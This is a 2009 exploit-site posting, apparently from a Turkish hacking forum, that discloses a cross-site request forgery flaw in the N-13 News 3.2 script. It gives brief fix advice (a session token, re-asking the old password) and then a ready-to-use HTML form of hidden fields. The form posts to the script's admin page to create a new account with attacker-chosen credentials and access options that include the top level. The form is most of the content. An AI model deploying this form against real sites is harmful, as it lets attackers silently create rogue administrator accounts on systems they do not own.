N-13 News 3.2 ~ CSRF Vuln. | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > N-13 News 3.2 ~ CSRF Vuln.

Madde
	Author : Bug Researchers/Ömer ASLAN
	Date : 13.09.2009 20:41:09
	# N-13 News 3.2 ~ CSRF Vuln. [Full Screen Display]

	<------------------- header data start ------------------- > ############################################################# # author * : CWOmer # Script Name : N-13 News 3.2 # Bug Type : XSRF # Infection : Admin Sifresi Deistirilebilir. # Demo Script : http://network-13.com/news/ # Bug Fix Advice : Form’a Oturum Key’i (Session Token) eklenmeli, eski sifre sorulmalidir. ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > <form method=POST action=http://network-13.com/news/admin.php?action=options&mod=accounts&create=new> <input type=hidden name=Tname size=24 value=cwomer> <input type=hidden name=T1 size=24 value=cwomer@msn.com> <input type=hidden name=T2 size=24 value=deneme> <input type=hidden name=T3 size=24 value=deneme> <select size=1 name=D1 type=hidden> <option value=1>Gods</option><option value=2>Mods</option><option value=3>Members</option><option value=11>Commenter Access</option></select> <input type=submit value=create name=B1> <input type=hidden value= name=R1> </form> < -- bug code end of -- >